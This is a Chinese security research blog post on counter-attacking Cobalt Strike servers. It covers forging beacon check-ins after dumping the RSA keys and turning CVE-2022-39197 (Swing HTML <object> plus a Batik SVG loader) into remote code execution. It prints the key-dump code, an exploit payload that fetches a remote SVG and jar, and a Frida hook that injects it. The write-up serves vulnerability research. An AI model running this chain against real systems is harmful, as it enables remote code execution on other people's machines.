CS反制浅析——从伪装上线到RCE

文章不是一个时间段写的(主要内容都是好多年前写的,用的版本比较旧,后面一部分代码截图分析用的新版本,看核心逻辑一样就懒得找老版本了),截图使用的版本有些乱,因为现在准备发的时候发现之前的图有点问题,重新复现或者分析截一下,反正原理是一样的,核心没有变,不要在意细节。本文仅用作安全技术研究。

CS流量分析

通过CS上线,抓包并筛选HTTP流量

image

定位到上线的包,里面包含cookie,cookie即为加密字段

image

分析逆向后的CobaltStrike源码,定位到BeaconHTTP类中的Beacon Entry

image

继续跟进到C2Beacon类,BeaconEntry入口点在此处进行定义

image

继续跟进AsymmetricCrypto方法后进入AsymmetricCrypto类,其中是一个明显的RSA加密,模式未ECB,填充方式为PKCS1

image

继续往下跟到decrypt方法,RSA的解密需要调用私钥

image

回到BeaconC2类,其中对asecurity变量的赋值只有再setCrypto方法中存在

image

使用IDEA全局搜索功能定位调用的文件,出现在BeaconSetup类中

image

image

继续跟传入的参var2,var2的值来自beacon_asymmetric()方法,这个方法在同个类中定义,这其中的关键就是.cobaltstrike.beacon_keys

image

这个文件在cs运行目录下也能找到,是beacon的key文件,通常情况下通过一些工具就可以解析公钥,比如GitHub上的CobaltStrikeParser能解析默认配置下的stage信息

image

要取得私钥需要通过一些方法,根据上面的代码,编写一个工具类用于提取私钥,这个代码很多人都写过,直接拿大佬写完的也行

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{   
    public static void main(String[] args)
    {
        try {
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
           System.out.println("Could not read asymmetric keys");
        }
    }
}

使用此代码读取beacon_keys即可进行解密,运行前需设置classpath为cs的jar包文件

image

找个在线工具,将相关字段填入可以直接解密

image

因为前面还有一串不可读字符,因此手动分析再进一步,先将私钥转换为16进制,以3082开头的即为私钥

image

通过工具解析,解密得到的内容如下,似乎看起来丢了一些字符,从DESKTOP变成了SKTOP

image

所以直接将16进制字符串进行解析

image

image

因此最终的metadata格式为:标志头(4)+Size(4)+Rawkey(16)+字体(4)+beacon ID(4)+ 进程ID(4)+port(2)+内核(4)+0x09 +受害者IP +0x09 + 主机名+ 0x09 + 用户名+0x09+进程名

伪装上线

因此只需要知道了公钥和linster地址就能实现伪造上线,照上面的格式构造包就行,中间还有个小坑,就是长度的问题,如果超过特定长度会报错,伪装上线效果如下:

image

Tips:还有一个比较有意思的地方,正常情况下如果是Administrator上线的时候,图标是不一样的

image

在伪造的时候,发现上线效果不太一样,图标没变红,就是正常的蓝色,如果需要伪装成管理员(即上线时为红色图标),只要在用户名后自己加个*就行

长度问题的补充

最后补充一下长度问题,为什么会存在长度过长无法伪造上线呢,上面的分析已经提到了CS使用的是RSA算法,加密模式为ECB,填充方式为PKCS1

RSA公钥密码体系是建立在大整数分解难题的基础上的,RSA密码体系的步骤如下:

  1. 先生成两个大素数p和q,计算n=n=p·q
  2. 计算φ(N)=(p-1)*(q-1)
  3. 选择一个整数e,1<e<φ(N),且e与φ(N)互质
  4. 计算d,使得e*d=1 mod φ(N)
  5. 将N和e作为公钥,N和d作为私钥
  6. 加密数据时,将明文转换为整数M,计算C=Me mod N
  7. 解密数据时,将密文转换为整数C,计算M=Cd mod N

在RSA算法中,公钥(N,e)用于加密数据,私钥(N,d)用于解密数据。由于φ(N)难以计算,因此在已知N和e的情况下,计算d是困难的,这就保证了RSA算法的安全性。同时,由于N是两个大素数p和q的乘积,因此破解RSA算法的关键在于分解N为p和q两个素数的乘积,这是一个极其困难的问题,因此RSA算法被认为是一种安全的加密算法。

image

ECB的加密模式也很好理解,电码本模式(Electronic Codebook Book,简称ECB)是一种最直接,最简单的消息加密方式。在ECB模式中,明文加密之后将直接得到密文,同样的密文解密之后,也直接得到明文。‌ECB模式优点:

  1. 简单易实现‌。每个明文块独立加密,无需复杂的链式操作或初始化向量(IV),实现逻辑简单。
  2. ‌并行处理能力强‌。由于明文块独立加密,可充分利用多核处理器优势,显著提升加密/解密速度。‌‌
  3. ‌无错误传播风险‌。单个明文块的错误不会影响其他块,传输过程中数据损坏时仅局部受影响。‌‌

缺点‌:

  1. 数据模式暴露风险‌。相同的明文块会产生相同的密文块,若明文中存在重复内容(如图片的固定模式),攻击者可轻易通过密文分析推测明文结构。‌‌
  2. ‌不适合长数据流‌。对于包含大量重复数据的长数据流(如视频、连续文本),ECB模式的安全性较低,易受统计分析攻击。‌‌
  3. ‌安全性较低‌。仅适用于对安全性要求极低且数据量较小的场景(如密钥保护),不适用于需要高保密性的应用。‌‌

image

因为CS中使用的是RSA-1024(这是一种已知存在缺陷的加密算法,不推荐使用),也就是长度为128位,因此待加密的明文(metadata数据)是需要小于128位的,加上PKCS1占用的11位,实际可用长度是128-11=117位,因此在随机生成虚假上线的payload时,也要注意长度不能超过117,如果没有限制时纯随机可能导致长度过长,出现如下报错:

image

RCE的前置——XSS

在前不久beichen师傅给CS提了一个XSS漏洞,编号为CVE-2022-39197,影响CS<4.7.1的所有版本,用上面的伪装上线修改一下提交payload,效果如下:

image

payload在用户名处,将用户名置为即可加载

但是你会发现如果把用户名替换为script标签其实并不会弹窗,直接不显示了,所以不是用file://xxx/cmd.exe这样的方式来实现的RCE

image

来分析一下,很多人以为直接通过js能够rce,实际上并不是这样,看到很多文章都在写js的问题,但是这个核心根本不是js…(补充:后来漂亮鼠的文章里也说了),而是swing解析html的问题,先来分析一下swing的解析器,老版本的swing通常在jdk目录的rt.jar下,新的(我用的jdk21)在java.desktop/javax/swing/text/html中

image

找到解析HTML的一个方法看一下,新版本的IDEA格式解析看起来还是很友好的

image

跟一下其中的几个Action,太菜了没发现啥,换个别的文件反而找到一点思路

定位到HTMLEditorKit类中的HTMLFactory,其中定义了很多view,再一点点看,中间踩了很多坑,踩坑过程就不写了

image

在跟到其中的Object的时候,发现这个东西可以实例化类,还可以传递param参数,这时候感觉大概率能深入挖掘这个进行利用了

image

继续看这个类,在里面发现了createComponent,看到这个代码经常分析Java的朋友(反正不是我)应该知道这个非常经典的反射加载类代码

image

但是条件是会先判断是否继承了Component,如果没有继承就返回错误,继续跟进SetParameter参数

image

这里有一个对writer的判断,也就是能不能写,如果要能写的话需要有setXXX方法的XXX属性才行,且参数为String,找Component子类可以用IDEA自带的功能去找

image

XSS2RCE

找了半天(以下省略踩坑过程,主要是以前写的太简单了都没提)找到了org.apache.batik.swing.JSVGCanvas,可以用这个方法远程加载svg图片,svg也在xss中经常被用来绕过一些限制

image

查了查文档,先简单实现一下怎么用object来加载一个标签,写一个Demo先

package org.example;

import javax.swing.*;


public class Main {
    public static void main(String[] args) {
        JFrame.setDefaultLookAndFeelDecorated(true);

        JFrame frame = new JFrame("test");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JLabel label2 = new JLabel("<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>");
        frame.getContentPane().add(label2);

        frame.pack();
        frame.setVisible(true);
    }
}

效果如下,简单实现就是加载一个JLabel

image

引申一下,就用上面找到的svg加载方式,使用org.apache.batik.swing.JSVGCanvas来加载svg

svg代码如下:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="green" />
</svg>

image

熟悉XXE的朋友应该都知道,可以构造一个特殊的xml来执行一些命令,那试试能不能直接通过script标签来执行,结果一跑发现报错了

image

控制台里的信息显示的是找不到类,实际上在CS里直接通过这种方式利用也不行

image

然后看文章的时候看到十年前就有人写了文章,svg和java代码执行

https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

照葫芦画瓢构造恶意文件并编译成jar包

image

编译后将manifest文件加入jar包

image

但是又遇到一个巨坑的问题,不知道什么情况被拦了,应该是同源策略的关系

image

折腾了半天,加了一条禁用SecurityManager才解决问题(可能是不同batik版本的问题?),重新编译后即可成功启动计算器

image

也就是通过这种方式加载SVG就能成功执行上线了,迁移到CS中来,继续回到CS分析调用情况,在CS的batik的BaseScriptingEnvironment.java中跟进解析

image

需要满足几个条件

checkCompatibleScriptURL(type, purl);//条件1
man.getMainAttributes().getValue("Script-Handler")!=null //条件2
man.getMainAttributes().getValue("SVG-Handler-Class")!=null//条件3

看网上文章好像在老版本里还没有Script-Handler和SVG-Handler-Class,还是var的变量形式(笑死)。下面两个条件是特定字段不为空,第一个方法再跟一下,真是一个套一个…

image

继续跟checkLoadScript和getScriptSecurity

image

最终跟到了DefaultScriptSecurity

image

可以看到条件就一个,只要远程svg和jar包文件地址相同即可。

长度限制的绕过

上面已经说到了117的长度限制,然鹅如果使用object标签肯定长度会超,分析了一下发现了一个很有意思的东西,还是前面分析过的HTML解析部分,有一个frame标签的解析

image

使用标签方式可以绕过长度限制,但是发现出现了一堆报错

image

不知道发生了什么,又整了半天没成功,但是可以通过另一个方式去复现,就是Hook WindowsAPI,以后可能会写frida的文章吧(咕咕咕,下次一定),这次先不展开了,主要脚本如下

var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1/test.svg'></param></object>"  
    var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")

    Interceptor.attach(pProcess32Next, {
        onEnter: function(args) {
            this.pPROCESSENTRY32 = args[1];
            if(Process.arch == "ia32"){
                this.exeOffset = 36;
            }else{
                this.exeOffset = 44;
            }
            this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
        },
        onLeave: function(retval) {
            if(this.szExeFile.readAnsiString() == "beacon.exe") {
                send("[!] Found beacon, injecting payload");
                this.szExeFile.writeAnsiString(payload);
            }
        }
    })

合影留念

image